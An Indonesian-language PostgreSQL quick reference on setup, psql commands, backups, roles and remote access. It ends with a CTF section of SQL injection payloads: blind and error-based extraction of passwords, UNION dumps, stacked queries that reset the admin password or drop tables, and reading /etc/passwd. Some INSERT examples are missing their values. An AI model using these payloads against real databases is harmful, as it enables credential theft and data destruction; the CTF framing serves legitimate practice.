PostgreSQL Quick Reference
Panduan cepat PostgreSQL untuk setup, operasi sehari-hari, dan CTF.
Apa Itu PostgreSQL?
PostgreSQL (sering disebut Postgres) adalah database relational open-source yang powerful, feature-rich, dan standards-compliant. Berbeda dengan SQLite, PostgreSQL adalah client-server database - perlu service yang berjalan sebagai daemon.
| Fitur | Keterangan |
|---|---|
| Tipe | Client-server relational database |
| ACID | Full ACID compliance |
| Ekstensi | Dukungan JSON, GIS (PostGIS), Full-text search |
| Cocok untuk | Aplikasi produksi, data besar, geospatial, CTF |
Instalasi
# Ubuntu/Debian
sudo apt install postgresql postgresql-contrib
# macOS
brew install postgresql@16
# Cek versi
psql --version
Service Management
# Start / stop / restart / status
sudo systemctl start postgresql
sudo systemctl stop postgresql
sudo systemctl restart postgresql
sudo systemctl status postgresql
# Enable auto-start
sudo systemctl enable postgresql
# Alternatif (tanpa systemd)
sudo pg_ctlcluster 16 main start
User Default & Login
User 'postgres'
PostgreSQL membuat user postgres secara default. Login:
# Login sebagai postgres (via peer authentication)
sudo -u postgres psql
# Atau
sudo -i -u postgres
psql
Secara default, PostgreSQL menggunakan peer
authentication - login hanya bisa dilakukan
oleh user Linux yang sama. Gunakan
sudo -u postgres psql untuk login awal.
Membuat User Baru
-- Buat user (di dalam psql)
CREATE USER myuser WITH PASSWORD 'mypassword';
-- Buat user dengan privilege login
CREATE USER myuser WITH LOGIN PASSWORD 'securepass';
-- Buat superuser (full access)
CREATE USER admin WITH SUPERUSER PASSWORD 'strongpass';
-- Buat user dengan masa berlaku
CREATE USER tempuser WITH PASSWORD 'temp123' VALID UNTIL '2025-12-31';
CREATE DATABASE & GRANT
-- Buat database
CREATE DATABASE mydb;
-- Buat database dengan owner
CREATE DATABASE mydb OWNER myuser;
-- Beri akses semua privilege ke user di database
GRANT ALL PRIVILEGES ON DATABASE mydb TO myuser;
-- Beri akses tabel (konek dulu ke database)
\c mydb
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO myuser;
GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO myuser;
GRANT ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public TO myuser;
-- Memberi akses untuk tabel yang akan dibuat
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT ALL ON TABLES TO myuser;
SQL Dasar di PostgreSQL
CREATE TABLE
CREATE TABLE users (
id SERIAL PRIMARY KEY, -- Auto-increment (INTEGER)
username VARCHAR(50) NOT NULL UNIQUE,
email VARCHAR(100) NOT NULL,
password TEXT NOT NULL,
is_active BOOLEAN DEFAULT TRUE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
CREATE TABLE posts (
id SERIAL PRIMARY KEY,
user_id INTEGER NOT NULL REFERENCES users(id) ON DELETE CASCADE,
title VARCHAR(200) NOT NULL,
content TEXT,
published BOOLEAN DEFAULT FALSE,
created_at TIMESTAMPTZ DEFAULT NOW()
);
PostgreSQL menggunakan SERIAL untuk
auto-increment (bukan AUTO_INCREMENT seperti
MySQL). Alternatif modern: tipe
GENERATED AS IDENTITY.
INSERT
INSERT INTO users (username, email, password)
INSERT INTO users (username, email, password) VALUES
-- INSERT dengan RETURNING (fitur PostgreSQL)
INSERT INTO users (username, email, password)
RETURNING id, created_at;
Fitur RETURNING adalah keunggulan PostgreSQL dibanding MySQL - Anda bisa langsung mendapatkan nilai yang baru saja di-insert.
SELECT
SELECT * FROM users;
SELECT id, username, email FROM users WHERE is_active = TRUE;
SELECT * FROM users ORDER BY created_at DESC LIMIT 10;
UPDATE
UPDATE users SET password = 'newhash' WHERE username = 'admin';
UPDATE users SET updated_at = NOW() WHERE id = 1;
-- UPDATE dengan RETURNING
UPDATE users SET is_active = FALSE WHERE id = 5 RETURNING *;
DELETE
DELETE FROM users WHERE username = 'guest';
DELETE FROM posts WHERE created_at < '2024-01-01';
-- DELETE dengan RETURNING
DELETE FROM users WHERE is_active = FALSE RETURNING id, username;
psql - Perintah Penting
Navigasi
\l -- List semua database
\l+ -- List dengan detail (ukuran, encoding)
\c database_name -- Connect ke database
\c dbname username -- Connect dengan user tertentu
\dt -- List semua tabel
\dt+ -- List tabel dengan detail
\dt schema.* -- List tabel di schema tertentu
\d tablename -- Describe tabel (kolom, tipe, constraint)
\d+ tablename -- Describe dengan detail tambahan
\di -- List indexes
\ds -- List sequences
\dv -- List views
\df -- List functions
User & Role Management
\du -- List semua users/roles
\du+ -- List dengan detail
\dg -- List roles
\dp -- List permission (table privileges)
Informasi
\l -- Databases
\dn -- Schemas
\dx -- Installed extensions
\conninfo -- Info koneksi saat ini
\encoding -- Encoding saat ini
\timing on -- Tampilkan waktu eksekusi query
\echo 'hello' -- Print text
\! ls -la -- Jalankan command shell
Output Format
\x auto -- Expanded display (toggle)
\pset border 2 -- Border style
\pset format wrapped -- Format output
\H -- HTML output (toggle)
\o output.txt -- Redirect output ke file
\o -- Reset output ke terminal
Keluar
\q -- Keluar dari psql
psql - Command Line Flags
Berguna untuk scripting dan automation:
# Jalankan query langsung
psql -U myuser -d mydb -c "SELECT * FROM users;"
# Jalankan file SQL
psql -U myuser -d mydb -f query.sql
# Jalankan dengan output ke file
psql -U myuser -d mydb -c "SELECT * FROM users;" -o output.txt
# Format output sebagai HTML
psql -U myuser -d mydb -H -c "SELECT * FROM users;" > report.html
# Format output sebagai CSV
psql -U myuser -d mydb -c "SELECT * FROM users;" --csv > users.csv
# Tanpa password prompt (gunakan .pgpass)
psql -U myuser -d mydb -w -c "SELECT 1;"
# Eksekusi multiple commands
psql -U postgres << EOF
CREATE DATABASE testdb;
\c testdb
CREATE TABLE test (id SERIAL PRIMARY KEY, name TEXT);
EOF
File .pgpass
Simpan password agar tidak di-prompt:
# Format: hostname:port:database:username:password
echo "localhost:5432:mydb:myuser:mypassword" >> ~/.pgpass
chmod 600 ~/.pgpass
Backup & Restore
Backup dengan pg_dump
# Backup satu database ke file SQL
pg_dump mydb > mydb_backup.sql
# Backup dengan user spesifik
pg_dump -U myuser -h localhost mydb > backup.sql
# Backup hanya schema (tanpa data)
pg_dump -s mydb > schema.sql
# Backup hanya data (tanpa schema)
pg_dump -a mydb > data.sql
# Backup dengan format custom (compressed, parallel restorable)
pg_dump -Fc mydb > mydb.dump
# Backup tabel tertentu
pg_dump -t users -t posts mydb > users_posts.sql
# Gzip langsung
pg_dump mydb | gzip > mydb.sql.gz
Restore
# Restore dari file SQL
psql mydb < mydb_backup.sql
# Buat database dulu jika belum ada
createdb newdb
psql newdb < mydb_backup.sql
# Restore dari format custom
pg_restore -d mydb mydb.dump
# Restore dengan parallel (lebih cepat)
pg_restore -j 4 -d mydb mydb.dump
pg_dumpall (Semua Database)
# Backup semua database (termasuk users, roles)
pg_dumpall > all_databases.sql
# Restore semua
psql -f all_databases.sql postgres
pg_dumpall membutuhkan akses superuser. Restore
juga harus dijalankan sebagai superuser (biasanya user
postgres).
User Management
-- Buat user
CREATE USER app_user WITH PASSWORD 'securepass';
-- Buat role (grup permission)
CREATE ROLE developers;
-- Tambah user ke role
GRANT developers TO app_user;
-- Ubah password
ALTER USER myuser WITH PASSWORD 'newpassword';
-- Ubah atribut
ALTER USER myuser WITH SUPERUSER;
ALTER USER myuser WITH NOSUPERUSER;
ALTER USER myuser WITH CREATEDB;
ALTER USER myuser VALID UNTIL '2025-12-31';
-- Hapus user
DROP USER myuser;
DROP USER IF EXISTS myuser;
-- Hapus user yang memiliki database
DROP DATABASE IF EXISTS mydb;
DROP USER myuser;
Hak Akses (Privileges)
-- Grant
GRANT SELECT ON users TO reader;
GRANT INSERT, UPDATE, DELETE ON users TO writer;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO app_user;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO app_user;
-- Revoke
REVOKE DELETE ON users FROM writer;
REVOKE ALL PRIVILEGES ON DATABASE mydb FROM old_user;
Remote Connection
1. Edit postgresql.conf
# Cari dan edit
sudo nano /etc/postgresql/16/main/postgresql.conf
Ubah baris:
listen_addresses = '*' # atau 'localhost, 192.168.1.100'
port = 5432
2. Edit pg_hba.conf
sudo nano /etc/postgresql/16/main/pg_hba.conf
Tambahkan:
# Izinkan dari subnet tertentu dengan password
host all all 192.168.1.0/24 scram-sha-256
host all all 10.0.0.0/8 md5
# Atau dari semua IP (tidak disarankan untuk produksi!)
host all all 0.0.0.0/0 scram-sha-256
3. Restart Service
sudo systemctl restart postgresql
4. Firewall
sudo ufw allow 5432/tcp
Reset Password
# Metode 1: Langsung di psql
sudo -u postgres psql
ALTER USER postgres WITH PASSWORD 'newpassword';
ALTER USER myuser WITH PASSWORD 'newpassword';
\q
# Metode 2: Reset via command line
sudo -u postgres psql -c "ALTER USER postgres WITH PASSWORD 'newpassword';"
CTF Use Cases
PostgreSQL sering menjadi target di CTF karena fitur-fitur uniknya.
1. Blind SQLi
-- Time-based dengan PG_SLEEP
' OR (SELECT pg_sleep(5) FROM users WHERE username='admin') --
' OR (SELECT CASE WHEN (substr(password,1,1)='a') THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users LIMIT 1) --
-- Boolean-based
' OR (SELECT length(password) FROM users LIMIT 1) > 10 --
' OR (SELECT substr(password,1,1) FROM users LIMIT 1) = 'a' --
2. Error-based SQLi
-- CAST error untuk extract data
' OR 1=CAST((SELECT password FROM users LIMIT 1) AS INTEGER) --
' AND 1=CAST((SELECT version()) AS INTEGER) --
3. String Concatenation
-- PostgreSQL menggunakan || untuk concat
' UNION SELECT username || ':' || password FROM users --
' UNION SELECT 'admin' || ':' || 'hash123' --
-- CONCAT function (juga tersedia)
' UNION SELECT CONCAT(username, ':', password) FROM users --
4. Stacked Queries
PostgreSQL mendukung stacked queries (beda dengan MySQL yang sering diblokir):
'; UPDATE users SET password = 'hacked' WHERE username = 'admin'; --
'; DROP TABLE logs; --
'; INSERT INTO users(username, password) VALUES ('hacker', 'pwned'); --
Stacked queries sangat berbahaya. Di CTF, ini sering menjadi jalan untuk memodifikasi data atau bahkan mengambil alih database.
5. Read File (Superuser)
Hanya superuser yang bisa membaca file:
-- Membaca file (butuh superuser + GRANT pg_read_server_files)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/hostname');
SELECT pg_read_file('/var/log/postgresql/postgresql-16-main.log', 0, 1000);
-- List directory (butuh superuser)
SELECT * FROM pg_ls_dir('/tmp');
6. Information Gathering
-- Versi PostgreSQL
SELECT version();
-- Current user dan database
SELECT current_user, current_database();
-- List tabel
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
-- List kolom
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users';
-- Enumerasi function
SELECT proname FROM pg_proc WHERE proname LIKE '%read%';
Perbedaan dengan MySQL
| Fitur | PostgreSQL | MySQL |
|---|---|---|
| Auto-increment | SERIAL / GENERATED AS IDENTITY
|
AUTO_INCREMENT |
| RETURNING | ✅ RETURNING * |
❌ Tidak ada |
| Case-insensitive | ILIKE atau LOWER() |
Default case-insensitive |
| Array type | ✅ TEXT[], INT[] |
❌ Tidak ada |
| JSON | JSON, JSONB (indexed) |
JSON (limited) |
| Full-text search | Built-in tsvector |
Perlu FULLTEXT index |
| CTE (WITH) | ✅ Advanced (modifying CTE) | ✅ Basic |
| Window functions | ✅ Advanced | ✅ Limited |
| CONCAT | || atau CONCAT() |
CONCAT() atau | |
| Foreign key | Strict by default | Relaxed (MyISAM ignores) |
| Index types | B-tree, Hash, GiST, GIN, BRIN | B-tree, Hash, Full-text |
| Locking | Row-level (MVCC) | Row-level (InnoDB) |
Contoh Perbedaan
-- PostgreSQL: RETURNING
INSERT INTO users (name) VALUES ('test') RETURNING id;
-- PostgreSQL: ILIKE (case-insensitive)
SELECT * FROM users WHERE name ILIKE '%admin%';
-- PostgreSQL: Array
SELECT ARRAY[1, 2, 3];
SELECT * FROM users WHERE tags @> ARRAY['admin'];
-- PostgreSQL: JSONB query
SELECT * FROM data WHERE json_field->>'name' = 'test';
Troubleshooting
| Masalah | Solusi |
|---|---|
could not connect to server: No such file or directory
|
Service tidak jalan:
sudo systemctl start postgresql |
FATAL: Peer authentication failed |
Login via sudo -u postgres psql atau edit
pg_hba.conf |
FATAL: password authentication failed |
Reset password via ALTER USER |
FATAL: database "x" does not exist
|
Buat database: CREATE DATABASE x |
FATAL: role "x" does not exist
|
Buat user: CREATE USER x |
could not connect to server: Connection refused
|
Cek listen_addresses di postgresql.conf
|
psql: error: FATAL: no pg_hba.conf entry
|
Tambahkan rule di pg_hba.conf lalu restart
|
ERROR: relation "table" does not exist
|
Cek schema: \dt atau tambah schema prefix
public.table |
ERROR: permission denied for table |
GRANT privilege yang diperlukan |
ERROR: database is locked |
PostgreSQL jarang terkunci, biasanya ada transaksi active |
WARNING: terminating connection because of crash
|
Cek log:
/var/log/postgresql/postgresql-*-main.log
|
Cek Koneksi Aktif
SELECT pid, usename, application_name, client_addr, state, query
FROM pg_stat_activity;
Kill Koneksi
-- Terminate koneksi tertentu
SELECT pg_terminate_backend(pid);
-- Terminate semua koneksi ke database (sebelum drop)
SELECT pg_terminate_backend(pid)
FROM pg_stat_activity
WHERE datname = 'mydb';
Ekstensi Berguna
-- Lihat ekstensi terinstall
\dx
-- Install ekstensi
CREATE EXTENSION IF NOT EXISTS pgcrypto; -- Hash, enkripsi
CREATE EXTENSION IF NOT EXISTS uuid-ossp; -- UUID generation
CREATE EXTENSION IF NOT EXISTS hstore; -- Key-value store
CREATE EXTENSION IF NOT EXISTS pg_trgm; -- Trigram fuzzy matching
CREATE EXTENSION IF NOT EXISTS postgis; -- Geospatial (install postgis)
pgcrypto Examples
-- Hash password
SELECT crypt('mypassword', gen_salt('bf'));
-- Verify hash
SELECT crypt('mypassword', '$2a$06$hash...') = '$2a$06$hash...';
-- Random UUID
SELECT gen_random_uuid();
Ringkasan Perintah Cepat
| Perintah | Fungsi |
|---|---|
sudo -u postgres psql |
Login sebagai postgres |
psql -U user -d db -c "query"
|
Jalankan query dari CLI |
\l |
List database |
\c dbname |
Connect ke database |
\dt |
List tabel |
\d tablename |
Describe tabel |
\du |
List users |
CREATE USER |
Buat user baru |
CREATE DATABASE |
Buat database |
\q |
Keluar |
pg_dump db > file.sql |
Backup database |
psql db < file.sql |
Restore database |
pg_dumpall > all.sql |
Backup semua database |
sudo systemctl start postgresql |
Start service |
Kesimpulan
PostgreSQL adalah database enterprise-grade yang powerful untuk berbagai kebutuhan:
- Produksi - aplikasi web, API, data warehouse
- Development - fitur-fitur modern (JSONB, CTE, Window functions)
- CTF - SQL injection, privilege escalation, file read
Poin-poin penting yang perlu diingat:
- Login awal sebagai
postgres-sudo -u postgres psql - pg_hba.conf mengontrol autentikasi - edit dengan hati-hati
- Gunakan RETURNING untuk mendapatkan data setelah INSERT/UPDATE/DELETE
- pg_dump untuk backup, psql untuk restore
- Perhatikan perbedaan dengan MySQL -
SERIAL,ILIKE,||,RETURNING
"PostgreSQL: the database that does everything, just with slightly more configuration."